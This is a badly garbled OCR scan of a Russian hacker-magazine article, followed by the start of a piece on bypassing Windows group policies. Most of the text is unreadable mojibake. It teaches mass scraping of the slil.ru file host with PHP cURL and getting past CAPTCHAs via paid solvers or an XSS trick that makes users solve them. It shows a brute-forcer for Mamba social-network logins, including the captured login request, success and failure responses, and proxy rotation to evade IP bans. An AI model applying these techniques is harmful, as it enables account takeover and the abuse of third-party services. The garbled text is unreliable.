BnpoueM, Bce MCNosib3yeMble TEXHOOMMWN — 3TO HE NMOJTHOE pelleHune
npobnieMbl, a BCEro nLLb YCN0XHEHVe npoLeaypbl: 060MTH npu rpabburre
MOXHO abconioTHO BCE.

MPAKTUKA
Kak roBopuTcs, NyyLle ofiMH pa3yBUAETh, 4eM CTO pasycabiwaTe. [loaTomy
NPUCTYNUM K NPaKTUYECKOW 4acTu, B KOTOPOI Mbl HaNMLLeM NPOCToi nap-
cepanaynobroro panoobmMeHHunkaslil.ru.

Bbibop nan Ha Hero, Tak Kak HUKaKUx 0cobbix 3aLWunTBeb-cepBep aToro
pecypcaHe CTaBWT, aCaM OH COLEePXXNUT MHOr0 UHTePeCHON MHpopMaLmK,
TaKOW KaK 3arpy>eHHble akKayHTbl, TPUBATHbIA COPT U APYrre NHTEpeCHo-
CTW. PacCMOTPUM UHCTPYMEHTapUi, KOTOPbIY Mbl ByaeM NCnonb30BaTh 0T
HayanaHanucaHus 6oTa v o NepBbIX NOSYYEHHbIX PE3YNbTATOB:

e bBpaysep.
e PHP.
* cURL.

e [lnaruHLiveHTTPHeaders gna Mozilla Firefox.
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MapcuHr no-KpymnHoMy

Bosblie HaM HUYero He MoTpebyeTcs, KpOMe ro0BbLI Ha Mievyax nynob-
HOro TeKCcToBOro pefakTopa. [lis Hayana Aasaii onpe e IMMCS, 4TO XKE Mbl
bynemnapcuTb. [apcuTb bynemM HasBaHue daiina, ero pa3mep v CCbinky ans
ckaymBaHus. BesatanHdopmaums cogepxmntcs B HTML-copuax cTpanuubl

CKayunBaHus 3arpy>xxeHHoro daina.

Tenepb paccMOTPVM CMOCOBBI NOYYEHNS KOLLA TON CaMOW CTPaHULbI.

Nx Takxe HECKOJIbKO:

1. CranpapTHas ¢yHkuma file_get_contents(). TpebyeT Bk nl04eHHYI0
PHP-gupekTuByallow_url_fopen. BkntounTb ee MoXHO Yyepes
.htaccess-dain HacTpoiikv cepsepa Apache (php_flagallow_url_
fopenon). 3gecb TakXxe cnefyeTynoMaHyTb, 4T0 B NATON Bepcuu
BceMu ntobuMoro PHP cTano Bo3MoXHbLIM CO3,aBaTb ONpPefeNeHHble
HacTponkn ana HTTP-3anpoca. 3To peann3yeTcsi NpUMepHO Tak:

$settings = array('http' => array('method' => 'GET', 'header' =>

"User-Agent: [H3EPAFEHT]\r\n".

"Accept: text/xml,application/xml,application/

xhtml+xml;q=0.5\r\n".

"Accept-Language: en-us,en;g=0.5\r\n".
"Accept-Encoding: gzip,deflate\r\n".
"Accept-Charset: IS0-8859-1,utf-8;9=0.7,*;4=0.7"));

$settings = stream_context_create($settings);
$html = file_get_contents('http://url.tld/', NULL, $settings);

2. Coketsl (fsockopen() u apyrue dyHkumY, KOTOpbIE Mbl paccMaTpuBaTh

He bynem).
3. cURL.

P e | Candy ! At

HTTF Fadari

et mag g, " e

et e e

[N TL g L]

Attt Rt L) GEPLY L N el R gl T
Tpig-ide 3

Cormaines. L B F

it SHE (Fos £ i SN B i e SR e £l S

WIS L 300

P P 0 A T e G

Cortwed Lagth B3

Fowmw rwwsdw

Faomwn: weed, H g 2000 L1 41080 @47

L et o, £ e e T T
Cowtaret Tom: e i

Chrs LD om0 s Sl s SRR

e CRENLD

= =

E] Copman

MnarunLiveHTTPHeaders

MpeanbHas Belwb Ans paboTbl CyfaneHHbIMU cepepaMu. 3To Kak
LWBeLapCKMI HOX A1 COCTaBJ/IEHUS 3aMNpocoB Ha cepBep. Bcé npofymaHo
[0 Menoyei nobepHyTo B UHTYUTUBHO NOHATHY0 cpedy pa3paboTku. Ha
Kypsie Mbl ¥ 0CTAHOBUMCS, TaK KaK TOJTbKO OH MOXeT NpeAoCcTaBUTb HaM
MHOrOMoTOYHOCTb paboThl U TpebyeMyto buicTpoTy (B cpeaHeM cURL B
yeTbipe pasabbicTpeefile_get_contents).

KAK CEPBUCHI SALLVLLIAKOTCA OT TPABBUHTA, U KAK 3TO OBXO4AT

CAPTCHA
CywecTBytoTno KpaiHei
Mepe Tpu cnocoba fns

o6xo4a BCeM Hafl0eBLUNX KAPTUHOK C

MyTHbIMU Ldpamu/byksamu.

e CKpWNTHaoCHOBE HEMPOCETU U
npyruxanroputmoB. 3o dekTus-
HOCTb CNocoba MoXeT CUIIbHO
MEHATbCS, B C/ly4ae KayeCTBEHHOM
KanunadppekTMBHOCTbABTOMATU-
4eCKOro pacro3HaBaHWs OMyCcTUTCS
Huxe 5 %.

¢ CepBuCblpyYHOropacno3HaBa-
HWsikanyen cynobHbiM APl gns
aBToMaTU4eckoi paboThl. 3gech
KapTUHKM pasrafiblBatoT peasibHble
TII0AV B OHNANH-PeX1Me, M03TOMY
appekTMBHOCTb CMocoba oyeHb
Bblcokad: 10 90%. EANHCTBEHHbIN
MUHYC— 32 1CMNoNib30BaHMe 3TUX
CepBUCOB HYXKHO NAaTUTb JeHbI .

¢ lcnonb3oBaHue XSS-ya3suMocTeit
[J15 MOACOBbIBaHMS Kanyei peanb-
HbIM Monib3oBaTensM. Mpu nomoLLy
XSS Hays3BMMOM CEPBUCE MOXKHO
pa3aMecTUTb CneLmnanbHbIi CKpUnT,
KOTOpbI byneT6noknpoBath
UHTepdeiic MnpeanaraTbnosb30-
BaTesllo pacrno3HasaTtb kanyy. Jlioan
ceiiyac HaypoBHe pediekcaroTo-
Bbl KTaKOM CUTYaLIMN 1 CY[0BOSTb-
CTBMEM Pacno3HaloT NoAAe NbHbIe
KapTUHKK, He 4ys noABoxa.
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ABTopu3auus

OueHbYyacTo bbIBaETTaK, 4TO

HeobxoaMMas nHpopMaLms
[LOCTYNHATONbKO A1 3aperncTpmpo-
BaHHbIX N0JIb30BaTeNel onpeaeneH-
Horo pecypca. OHa MOXeTHaXoAUTbCS B
Kakon-n1bo 3aKpbITOM YacTu caiita niu
XK€ CKPbIBATbCSA MO, TakK Ha3blBaEMbIM
xanfoMHa gopyme. Takke BO MHOrMX
cnyyasx nsa pernctpayumtebe MoxeT
noHapobuTbCs cneymnansHoe npurna-
LLIeHWe —UHBANT OTYXXe COCTOSBLUMXCS
uneHoB caiiTa. TonbKo nocne npo-
XOX[EeHWs npoLecca perncTpaLmm Ha
pecypce Tbl CMOXELLb MOAYYUTH AOCTYN
K HYXHOMy pazfeny. [laHHas 3alwmTa
He npeacTaBnseT 6onbLIOA TPYAHOCTH
Bobxofe, cKopee, HEMHOro 3aMeaseT
paboTyHalero6oTa, MToAaneko He
Bcersa. EcnvMbli XoTUM NpoBOAUTL
MHOXEeCTBO [1eACTBMI Ha HY)XXHOM caiiTe
13-M0J,0/lHOr0 aBTOPM30BaHHOr0 akka-
YHTa, TOHaM ClleflyeT COCTaBUTb OAUH
[LOMOJHUTENbHbIV 3aNPOC K CepBepy B
camMoM Havase paboTbl boTa. [laHHbI
3anpoc Heobxo[nM AN NONyYeHNs aB-
TOPM3aLMOHHbIX KYKMCOB. Yalle Bcero
3TO MMEHHO cookie-3anucu, v Hu4ero
6onee.lMocnenonyyeHus neyeHek ot
cepBepanociefytLe 3anpockl byayT
MPOUCXOANTb C X UCTIONb30BaHNEM,
4eM Mbl 1 0OXOANM LaHHYI0 3aLLUTY.

CepTudukatbin

JavaScript-3awuTsl

Pecypc, ckoToporoTbl
xo4elb rpabutb nHy, MoxeTpaboTath
yepe3SSL, mB3TOMCNyYae, ecav He-
0bxoMMbIV cepTUdrKaTyTebsi ecTb, He
cocTaBnsfeT601bWOroTpyAa HayYnTb
CKPUNTWCNOb30BaTb3TOTCEPTUPUKAT.
[naPHPsaMorynocosetoBaTb3ame-
yaTenbHyto bubnnoteky cURL, koTopas
OT/INYHO peann3yeT Bce 3afa4u, CBsi-
3aHHbIe CCeTEBbIM B3aUMOAENCTBUEM.
Yrokacaetcsa JavaScript-3awmT, T0
OHU YaLLle BCEro OpMeHTUPOBaHbI Ha
WwudposaHmue NCXo[HOro Koaa (unTan
cTaTblo «JavaScript: Urpbl B npsaTku»
13 NPOLLNOro HoMepa) U Ha NpoBepKY
creuyanbHbIX jS-nepeMeHHbIX, KOTopble
[l0Ka3bIBalOT, 4TO CTPaHMLa 3arpyxeHa
peanbHbIMbpay3epoM, aHe boToM.
06x0AATCH 3TUMETObl 31IeMEeHTaPHbIM
aHanu3oM HTML-kopa cTpanuubl. Takoi
aHaNN3 ThiJIErKO CMOXeLLb BbIMoJI-
HUTb CMOMOLLblo MHCTpyMeHTa Opera
DragonFlyB«Onepe»ununnarnHanns
«Jlncei» LiveHTTPHeaders. 06e atux
Tyn3bl noMoryTTebe NoHATb, Kakne xe
POST-, GET- 1 COOKIE-nepemeHHble
TBOW bpay3ep nocbinaeTynaneHHoMy
pecypcy. 3aTeM Tbl CMOXeLLbBCTaBUTb
3TUNepeMeHHble BKOA CBoeroboTa.

JInMUT coeanHeHUM

Ons3awmnTeloTrpabbuHra

rpaMoTHbIe afMUHM-
CTPaTOpPbl CTABAT OrPAHUYEHNS HA
CKOpOCTb 3aKauMBaHWs CTPaHu-
Libl MONIb30BaTEsIEM, @ TAKXKe Ha
KOIMYeCTBO COEJMHEHNI N YacToTy
aKTUBHOCTW. [TOHATHO, YTO HW O MH
HOpMasbHbIV NoNib30BaTeNb He pabo-
TaeTCCcalTOM HECKObKO YacoB Noj-
psg, Bbikaumsas 5000 cTpanuu B Yac.
MoaToMy, aHaNIM3Mpys aKTUBHOCTb
KJIMEHTOB, yMHble cucTeMbl M CMS
MOTYTBbISIBAATb JIEBbIX M0JIb30BaTE-
neivorpaHnynBaTtb ux paboTty. Bto
KEe BPEMS aIMVHNUCTPATOPbl He MOTyT
[1eCTBOBATbB N100: BeAb NO4 0HNM
|P-appecomMBnonHe MoryTcnaeTb
Cpasy coTHU YenoBek.

YT0Xe AenaTb, €CIU HaM HYXHO

3a 0fHY MUHYTY nonyunTs 1000
CTPaHWL, a CepBep He pearupyeTyxe
nocne 20-1 cTpaHnybl? Micnonb3o-
BaTb socks-u proxy-cepsepa.Batom
cnyyae pabotabortabynetnpouncxo-
OUTbHe copHoro IP-agpeca, aHanpu-
mep, co 100 IP-agpecos. TeM cambiM,
ymHoxue 100 Ha 20, Mbl nony4um 2000
3anpocoB, HAa KOTOPbIe CEPBEP TOYHO
LOMKEH 0TBETUTb.
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B3JIOM

FoTtoBbif napcepslil.ru

PA3BE[KA

[Mpexpae yem HanucaTb nepBble cTpoykn Ha cURL, faBai npoaHanu-
31pyeM, kak bpaysep nosnyyaet cTpaHuLy. Beab HaM HY)XXHO 3aMacKkm-
poBaTbCcs UMeHHO Nof bpay3ep. ins atoro otkpoem Mozilla Firefoxu
3anyctumnnaruu LiveHTTPHeaders. Tenepb nepeiifeM no TectoBoMy
agpecyslil.ru/31402491 nmocMoTpuM B OKHO NiarnHa. Tam 6yfeT MHOMO
N10r0B, U3 KOTOPbIX HAC MHTEPeCyeT TONIbKO CaMblii NepBbIi 3anpoc.

$curl = curl_init();

$head = array(
'Host: slil.ru’,
'User-Agent: [W3EPATEHT]',
'Accept: text/xml,application/xml,application/xhtml+xml;q=0.5",
'Accept-Language: en-us,en;q=0.5",
'Accept-Encoding: gzip,deflate’,
'Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;9=0.7",
'Keep-Alive: 300',
'Connection: keep-alive'

)

// wanka, KOTOpYyk Mbl nony4nnun Yyepes LiveHTTPHeaders B Buae MaccuBa

curl_setopt($curl, CURLOPT_ URL, 'http://slil.ru/31402491');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $head);
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');

$out = curl_exec($curl); // cospaem coeauHeHue
curl_close($curl); // 3akpbiBaem Tekylee coeuHeHue

Bcero 17 cTpok Koaa, U Mbl UMEEM MCXOAHbIA KO CTPaHML bl
slil.ru/31402491 8 nepeMeHHoi $out. 0cTanoch TONbKO HANTU HYXKHbIE
HaM [laHHble, CYeM CNPaBMTCS CeLYIOLLUIA CKPUNT:

$filedata = explode('<p align="center">', $out);

$filedata = explode('</p>', $filedata[l]);

list($hlename, $filesize) = explode('&nbsp;&nbsp;&nbsp;’,
trim(strip_tags($filedata[0])));

BoTkak oH MOXeTBbl rnanetb:

GET /31402491 HTTP/1.1
Host: slil.ru
User-Agent: [W3EPATEHT]

Accept: text/xml,application/xml,application/xhtml+xml;q=0.5

Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,*%;q=0.7

Keep-Alive: 300
Connection: keep-alive

Ecnv paHHbI 3anpocBo3BpalllaeTHY)XHYO HaM CTpaHULY, 3Ha4YUT,
eromblun 6y,u,eM MCNoN1b30BaTb B Ka4eCTBE MAacCKNPOBKMU.

COCTABJIEHME 3ATTPOCA

Tenepb,anal?l Hanuwem HpOCTEHbKMﬁ CKpunT Anga nonyy4yeHnsa ctpaHuLbl

$temp_link = explode('var 1ink=\"", $cResult);
$temp_link = explode('\';', $temp_link[1]);

$temp_link = trim(str_replace("'+'", "', $temp_link[@]));
$data = array('name' => $filename, 'size' => $filesize,

'link' => $temp_link);

TakvM 0bpa3oM Mbl Capcuan MMs, paaMep v cCbiiky daitna c ofHo

CTpaHuLbI.

MHOIOMOTOYHOCTb

Ho kak ke cnapcutb cpasy MHoro ¢painos? Ha noMoLyb NpUxoauT MHOM0-
noTo4yHocTb cURL'a. YTobbl 06paboTaTh MHOXECTBO GaiifioB, HaM HYXKHO
MMETb Kak MUHUMYM MHOXECTBO CCbiIOK. 119 yfo6CcTBa HanuweM reHepa-
TOp AManasoHa CChbiIoK, CXOAS U3 CTAPTOBOM 1 NoCNeAHeN! CChlNKY:

function genLinks($from, $to)

c pannoobMeHHMKa: {
3CEPBNCA OJ1A PACINTO3HABAHNA KATTHNA
Mcnonb3oBaHve oHNaiH- «Kanyabot»

CepBUCOB A1 pacno3HaBaHUs
Kanyu o4eHb NonysipHo B Cepbe3HbIX
NPOEKTax, YaCTo OCHOBAHHbIX HA
MoyYeHUN BbIFOA4bl OTTOTO MM UHOTO
nencteus. I peicTBUTENbHO, 3a4eM
nporpaMMuCTy nucaTb HEMPoOCeTH U
cnaeTb 6eCcCoHbIMM HOYaMM 33 KOAOM,
KOrfaMoXHO MPoOCTO 3anNNaTUTh 04UH
3eneHbi 6akc 3a Lenyio Thicsyy pas-
rajaHHbIx kany. [laBai paccMoTpum
TPU CaMbIX U3BECTHbIX M NOMYASAPHbIX
aHTMKanyeBbIX pecypca:
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1 «AHTUreAT»
(antigate.com)—opnH 13

caMbIX NepBbIX 1, 6e3yCNIO0BHO, CaMbix
nonynsipHbIx cepBncoB. 3aecbTebe
CYAOBOSIbCTBMEM MOMOTYT paclund-
poBaTb pycCKUe M aHrINCKMe Kanyu
dopmaToB PG, GIFPNG. Llenasa
Takoe y[10BOJIbCTBIE OTHOCUTESbHO
HeBblicoka— 1 gonn.3a 1000un306pa-
XKeHuit. KayecTBo ToXXe HaypoBHE —He
6onee 10% ownboOK, aTakKe BO3MOXK-
HOCTb BbIBECTU eHbI1 06paTHO, B
cnyyaeecnnmTebs 4To-To HeyCTpoUT.

[captchabot.com) —ananoruy-
Hbl, HO MEeHee NoNyNsApHbIA CepBuUC.
ToYyHOCTb paclWNpPOBKN HEMHOTO
MeHbuwe (80 %), Takxe nonaepxu-
BaeTMHOrOMNOTOYHOCTh B CBOUX
API. LleHa—30 Koneek 3a 0fHO
n3obpaxeHue, aBpeMs obpaboTt-
Kk —p0 30 ceKyHp. 3HaUYNTENbHbIN
M0C CUCTEMbl — MPOrpaMMHble
npumepsl, no3sonsioumne besbo-
Ne3HeHHO MHTerpupoBaTh CepBUC B
CBOW NPOEKT.

2 Death by Captcha

(deathbycaptcha.com)—oTHo-
CUTENIbHO HOBbIW MPOEKT, MO3ULMO-
HUPYIOLLMIA cebs Kak caMoro KpyToro
pacno3HaBaTens KanyHa pbiHke. LleHa
ynosonbcTBua— 1,39 gonn.3a 1000
pacno3HaHHbix Kany. CpeaHee Bpems
pacno3HaBaHus cocTaBnseT 17 cekKyHp
cToYyHOCTb 90 % M BbIWe. 30eChb Thl
TaKXe HanfeLWb Liesyio Kyyy npo-
rpaMMHbIX peLleHnii 4ns paboTatoLe-
roHacepsuceAPI.
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MapcuHr no-KpymnHoMy

$i = 0; $links = array();

for ($1 = 0; $i <= ($to — $from); $it++)
{
$1links[] = "http://slil.ru/".($from+$i);
)

return $links;

¥
$links = genLinks(31402491, 31402591);

Tenepb Mbl UMeeM 100 cebinok slil.ru 0131402491 no 31402591 8 BUAe
MaccuBa. Tenepb NPUCTYNUM K CaMO MHOrOMOTO4HOCTY. Ee peanusauus
HEMHOro TpyAHee, HO 415 HAC HeT HUYero TPYAHOro.

B cURLemHoronotoyHocTb paboTtaet ciegyolwnum obpasom:

1. Co3paeMAecKpMNTOp MHOrOMOTOYHOCTM, B KOTOPbI MOTOM pa3 3a
pa3oM cKafblBaeM HaCTPOEHHbIE COe AUHEHMS.
2. lpoberaemcsnogeckpuntopy yHkumen curl_multi_exec, koTopas

Kak pa3 M MCNOHUT BCE M Cpa3y.

3. [AnsanocnepytoueroobxofapesynstatoBpaboTsl cnonb3yemcurl_
multi_getcontent.

3anpuMepoM peann3aLummn Takon CxeMbl MAEM Ha UCK U 3aMyCcKaeM
dbyHkumio parselinks(] cnegytownm obpasom:

$info = parselLinks(genLinks(31402491, 31402591));

Tenepb, nocne Tpex-yeTbipex ceKyHA paboTbl CKpUnTa, Mbl UMeeM UHGOp-
mauuto o 1000 paiinos, coxpaHeHHbix Haslil.ru, B snanasone ot131402491 fo
31402591. Laneeyxe aeno paHtasnun. MoxHo, HanpuMep, npon3BecTn Bbibop-
Ky KOHKpeTHOro popmMata Gpainios, MOXHO 1X BCE CKaYaTb K cebe Ha KOMMblo-
TepnoCooTBETCTBYHLLMM CChINIKaM, MOXHO MPOMU3BECTH NOUCK Mo dpase u
Tak janee. Kak nokasblBaeTNpakTUKa, HUYEro CJI0KHOM0 B 3TOM HET, NO3TOMY
paccMOTpWM eLLe OUH NPUMEP, KOTOPbIV BYAETYXe HEMHOIO CIOXHEE.

BPYTUM «MAMBY»

[lanee MblocTaHoBMMCS Ha bpyTepe Ans counanbHoi ceTn «Mamba»

(www.mamba.ru).
Kak 0bbl4HO, AaBali cocTaBUM anropuTm paboTsl bpyTepa:

1. TocblnaemM3anpoc ciorMHOM M naposem.

2. TpuHumaemoTBeT.

3. CBepsieMNoyYeHHbI 0TBET CYXKe NOATOTOBNEHHbIM 0TBETOM «HEYAaY-
HOM Mapbi» 1, CNIN OHW OAMHAKOBbI, Bo3BpallaeM false, vHaye Bo3Bpa-
waemtrue.

Tenepb 0CTaHOBUMCS HEMHOTO MO POBbHEe Ha caMOM MexaH3Me aBToOpU-
3auumn «Mambbi». Mepeias Ha caiT, Mbl yBUAUM KHOMOYKY «Bxog». Haxas Ha
Hee, Tbl HUKYA He MepPeX0AMLLb, a TaKXKe He CO34aeTCs HUKAKMX HOBbIX OKOH,
3aT0nocepeAvHe 3KpaHa nosiBASETCS HOBbIV Coii ¢ opMoii Ans BxoAa. U3
3TOro CIelyeT, YTO CTOUT 0XKMAaThb iBa BapuaHTa pa3BunTUs cobbiTuit: ninbo Hac
nepeKVNHeT Ha KaKylo-To CTPaHMULy Noce BBOJa HeBePHOM napbl, 160 xe BCE
370 6e306pasve peann3oBaHo HaAjax'e CcMOMOLLbI0 BHYTpucaiToBoroAPI.
MepBbili BapuaHT bbln bbl TxXeNnee ans bpyTepa, Tak Kak NpuLLNOCh bl no-
JlyyaTh C CEpBEpPa MHOro Mycopa vnLiHero html-kofa, a BOT BTopoii BapuaHT
BbIn1 Obl MAEanbHbIM, Tak Kak Mbl nonyyaem Bcero nuiub 100-300 cumBonos ot
BHyTpucanToBoroAPI, yeMyckopsieM paboTy bpyTepa. KHalue pagoctu, Ha
«Mambe» ucnonb3yetcs Kak pa3BTopoii BapuaHT—cAPI.

[aneeHamHeobxoanMo HaT agpecatoro camoro APl UckaTb B html-
nJavaScript-Kofie, KOHEYHO, MOXHO, HO Mbl DyieM yMHee M NPoCTO CHOBa
ncnonb3yeM 3ameyaTenbHbli naarud ansa «Jiuce» LiveHTTPHeaders.

OTKpbIB CTPaHULy, BBEAS Napy «JIOTMH—Maposb» 1 HaXKaB KHOMKY
«Bxoa», Mbl yBMANM B OKHE N1arMHa agpec CKpUnTa, KoTopblii M oTBeYaeT
33 NpaBUIbHOCTL/HEMPaBUIBbHOCTb Napbil:

POST /ajax/login.phtml?XForm=Login HTTP/1.1
Host: mamba.ru

Cookie: mmbsid=b8HMuKDEKEILMIGTM5Z0eOMnBLtFy6Xp
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clickUrl=http%3A%2F%2Fmamba.ru%2Ftips%2F%3Ftip%3DLogin&
target=&login_captcha=&login=xxx&password=x1x2x3&
VAnketalId=0&RedirectBack=http%253A%252F%252Fmamba.
ru%252Findex.phtml1%253F

Appec APl—mamba.ru/ajax/login.phtmI?XForm=Login.

COCTABJIEHME 3ATIPOCA

TenepbBCMOTPUMCS B caM 3anpoc. Kak BugnM, 3aeck yxe dpurypupytot
ceccun, aTo3ameTHo no cookie. Takxe Mbl BUAWM, 4TO MOChINa0TCS AaH-
Hble, U MocbinaTcs oHn MeTogoM POST. Bce aTu ieTanu HyHO y4ecTb npu
HanucaHum bpyTepa.

Tenepb CHOBa OTKPbIBai [UCK U MM HA HEM 04EPEHO NpUMep Ha
PHP +cURL.Ha3ToT pa3 Mbl A0/KHbI MONYYNTb ONPEfeNIeHHbI 0TBET OT
aBTopu3aunoHHoro APl «MaMbbi», 03HavaloLW i npaBUabHOCTb UM He-
NpaBUNBLHOCTb Napbl «IOrMH—MNaposb».

BoTTakBbIrNAAMT OTBET C HENPaBUIbHOW Napoi:

{"t":"000000P0A0E0A","a":00000000,"s":1,"e":0,"d":[],"r":8,"XFor
ms":{"Login":{"found":"\u@41d\u0435\u0432\u0435\u0440\ue43d\
u043e\u0443\u043a\u0430\u0437\u0430\ud43d \ud43b\ud43e\ud433\
u0438\u043d\u0438\u043b\ue438 \ue43f\ue430\ue440\ue43e\ud43b\
ue44c"}}}

ABOTTaK C NpaBUbHOW:

{"t":"0000000000000","a":"000VV0VV","s" :1,"e":0,"d":[],"r":
"http%3A%2F%2Fmamba.ru%2Ftips%2F%3Ftip%3DLogin","XForms":0}

MoaToMy byneM cynTaTh, YTO €CIM B OTBETE By€T NPUCYTCTBOBATL
cTpoka "r":"http%3A%2F%2Fmamba.ru%2Ftips%2F%3Ftip%3DLogin", To
napanogoluna. Takxxe Xo4y 0TMEeTUTb, YTO BECb KOJ, C UCKa crefyeT
06epHYyTb B MHOIOMOTOYHbI BapWaHT, XenaTeNlbHO B BuAe yHKuUunN. Ho
He Byfy NOBTOPATHCSA, TaK Kak cnocobbl peann3ayMm Takoih MHOronoTou-
HOCTM OMKCaHbI BblLUe.

[MAJIKM B KOJIECAX

Co3paB GpyHKLMOHaNbHBIN CKpUNT U NpoBepus okoso 1000 akkayHToB 3a
MUHYTY, Tbl MOXKELLb YAUBUTHCA TOMY, 4TO pe3y/bTaThl aneKo He BCeraa
OynyTKoppekTHbIMU. [1ngaToro coBeTyto Tebe npocTo-HanpocToBecTU or
paboTbl, BKOTOPbIA 3anuckiBatoTcs 0TBeTb cepBepa. OTKpbIB TAKOW N10T, Thl
YBUAWLWb N0oJ06HbIE 3anucy:

{"t":"1311437340338","a":0,"s":1,"e":0,"d":[],"r":0,"XForms":0,"
captcha":1}

ATakxe 3anucu, cBuieTenbcTBytoWwme o baHe IP-agpeca, ckoToporo
npet 6pyT. Kanya obxogurcs pasHoiMu cnocobamm (o Hanbonee nonynsp-
HbIX N3 HUX A y)Ke pacckasan Bbilwe), a BoT6aH IP-agpecanerkoucnpasuts
0fHoM cTpokoii Ha cURL:

curl_setopt($curl, CURLOPT_PROXY, '12.34.56.78:80');

Ecnn paccMaTpunBaTb NpMMEP MHOFOMOTOYHOIO CKPUNTA, TO NNy4dLUe
ncnonb3oBaTb He 04MH, @ MHOIO MPOKCK, KOTOpPble OblaBTOMaTUYECKU
MeHANnCb nocnenonyvyeHnsa baHa.

3AKJTIOYEHWE

Kak BUAHO M3 NpakTuku, paboTa c 4yXUMK cakTaMu COBCEM He TpyLHa
M MHOTWE laXke 04eHb MNONyNspHbIe CEPBUCHI HE 04eHb-TO M CTApaTCs B
3aWwmnTe cobcTBEHHbIX JaHHbIX 0T rpabbuHra. Ecnun, nonpobosas onucax-
Hble B CTaTbe Cnocobbl M NPUoBHPETA COOTBETCTBYIOLLMI ONbIT, Thl XO4ellb
MOHETW3MPOBAaTL CBOW HABbLIKM, TO MOTy HAMEKHYTb, 4To B][-TycoBke
onpejesieHHbIM CPOCOM BCErAa NoJib30BanuCh 1 byayTnonb30BaThCs
BCEBO3MOXHbIE aBTOPErncTpaTopsl, cnaMepsl, rpabbepsl, 4ekepbl v Tak
nanee.

HaaToMcnewy oTknaHaTbCs, yaayHoro napcuural 3C
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HenocTtaTtoyHo NpaB:
JlocTaTo4yHo

8 NIPUEMOB ANA
OBXOAATPYMNOBbIX
NoJINTUK B AOMEHE

He 3Hato, 4eM pykoBoacTBOBanuch Ntoan n3 Microsoft, korga
MPOEKTUPOBAN M CO34aBaNN CUCTEMY FPYNMOBbIX MOUTUK
B Windows, Ho nonyunnocb y Hux He o4eHb. Cuctema no-
Ny4ynnack rmbkomn n GyHKLMOHANbHORN, HO C HEMasbIM KO-
NIMYeCTBOM la3eekK, NO3BOJIAOLLMX 0O0NTN OTpaHNYEHUS U
nobpatbca goTex MecT OC, LOCTYN K KOTOPbBIM 3anpeLleH.

0npaBAe roBops, rpynnoBble NOAUTUKYM BblNM UCCNefoBaHbl BLOb

nnonepekewie nATb AeTHazag. OfLHaKO MCNONb3yeMble peLleHns

ManoyeM naMeHunucs. MHorue 6aru no-npexHemy pabotatot.
Kpome Toro, nosiBASIOTCA HOBblE NpUeMbl 415 06X04a rpynnoBbiX NONNTHK.
[Mo3aToMy Mbl pelunnvi cobpaTb Ana Tebs HekoTopbli Habop peLenTos,
4TOObI Thl, BO-NEPBbIX, MOT B35ITb HA BOOPY)XEHWe, a BO-BTOPbIX, NepecTan
BEPWTb B TO, 4TO FPYNNOBbIE NONIMTUKM —3TO NaHalles. [puBcemypnobeTee
MXWNCNONb30BaHUSA OHU HE MOTYT 06eCneyYnTb AOJIKHBINYPOBEHb 3aLLUThI.
Ho oboBceMnonopsaky.

4YTO 3TO TAKOE?

EcnuBepuTb CKyUHbIM ONpefesieHnsiM, TO rpynnoBbIe NoauTUKY (Man Group
Policy) —3T0 3G GpeKTUBHBIN M LeHTpaNN30BaHHbI MexaHU3M yrpasieHns
MHOTrOYMCIEHHbBIMU NapaMeTpaMm onepaLOHHbIX CUCTEM U MPUITOXKEHWIA.
[pynnoBble NOAUTUKM MO3BOAAIOT aAMWHAM ONpPefieNsTh NpaBua, B COOT-
BETCTBWW C KOTOPbIM HaCTpauBaloTcs napaMeTpbl paboyelt cpefibl Kak As
nonib3oBaTesiei, Tak U ANsi KoMnboTepoB. MpoLLe roBops, 370 J0BOJIbHO MOLL -
HbIA MHCTPYMEHT 419 OrpaHuy4eHUs B AeNCTBUAX 00bIYHbIX 0Nb30BaTeN il
CyujecTByeTMacca pa3nyHbIX MONUTUK M NPaB, C MOMOLLbIO KOTOPbIX MOXKHO
3anpeTuTb BbI30B AMCNETYEpa 3aay Min peflakTopa peecTpa, 3anpeTnTb jo-
cTynKMeHto «[lyck», aTakxe ;OBOJIbHO FMBKO OrpaHNynTb 3amycK NporpamMm-
Horo obecneyeHus (3To peannsyeTcs c NoMoLLbI0 Tak HasbiBaeMbix Software
Restriction Policies). ABnaetcs v aToT MexaHn3M 3G dekTUBHbIM? JTnwwb
oTyacTu. [locTynk WwopTkaTtaM, 3anyck ieBoro 10 v cucTeMHbIX NPUOXKEHN,
M3MeHeHNe HacTPOeK—BCe 3TO J0CTaTOYHO JIErKo 3arnpeLaeTcs C NOMOLLbIo
rPYNMOBbIX MOJANTUK, 1 C3ITON TOYKM 3PEHUS MOXHO CKa3aTb cnacubo pas-
paboTymkam OC. Ho, yBbl, Kak 370 06bI4HO ObIBAET, 3TU NOSIUTUKM 3a4aCTYHO
MOXHO 060/TH. TyTCTOUT CAeNaTb 0roBopKy. Bce nonnTrkm MoxxHo pa3buts
Ha[\Be KaTeropuy— A1t KOMMOB W 15 MoNib30BaTesieit. [pynmnoBble nonu-
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PR — Al oot N TUKW JOCTYMHbI KaK B 4OMEHE, Tak M Ha IoKasibHoM KoMre. Ecnimpeyb naeto
_'j‘*""“""""‘ w i gr -‘-l---l; JI0KaNIbHOW MallVHe, TO UX MOXKHO MOCMOTPETb Yepes CreLManbHyto 0CHACTKY
--Ii.-ﬂ'- o gpedit.msc(secpol.msc). B aaHHOM cTaTbe 0CHOBHOM aKLEHT CAeN1aH UMEHHO
* .-
P —— Ha OMEHHbIe FpynnoBble NONUTUKK. Tak, npucTynum.
L] -
& il
=} e TPHOK 1. 0BXOAMM 3ATPY3KY MOJIUTUK
i T - .
e [laBaiipazbepemcs, kak BoobLe KaxAas MallvHa B 10KaIbHO CeTH no-
] B
Jly4aeT rpynnosble NOAUTUKM M3 foMeHa? [poliecc co3faHuns rpynnoBbix
:“""' NOMUTUK MOXHO pa3buTb Ha cnefyiolne yCNOBHbIe 3Tanbl:
_".:m- o= | 1. ALMWH co3faeT06beKT rpynnoBoi NOAUTUKN.
ol et 2. TpuBs3bIBAETEr0 K KAKUM-TO 3/1IEMEHTAM JOMEHA.
| ) Sl i
= &3 3. TlpuBxofe BLOMEH KOMM OTNPaBASET 3aNpoc Ha NoNlyYeHne MoNNTUK U
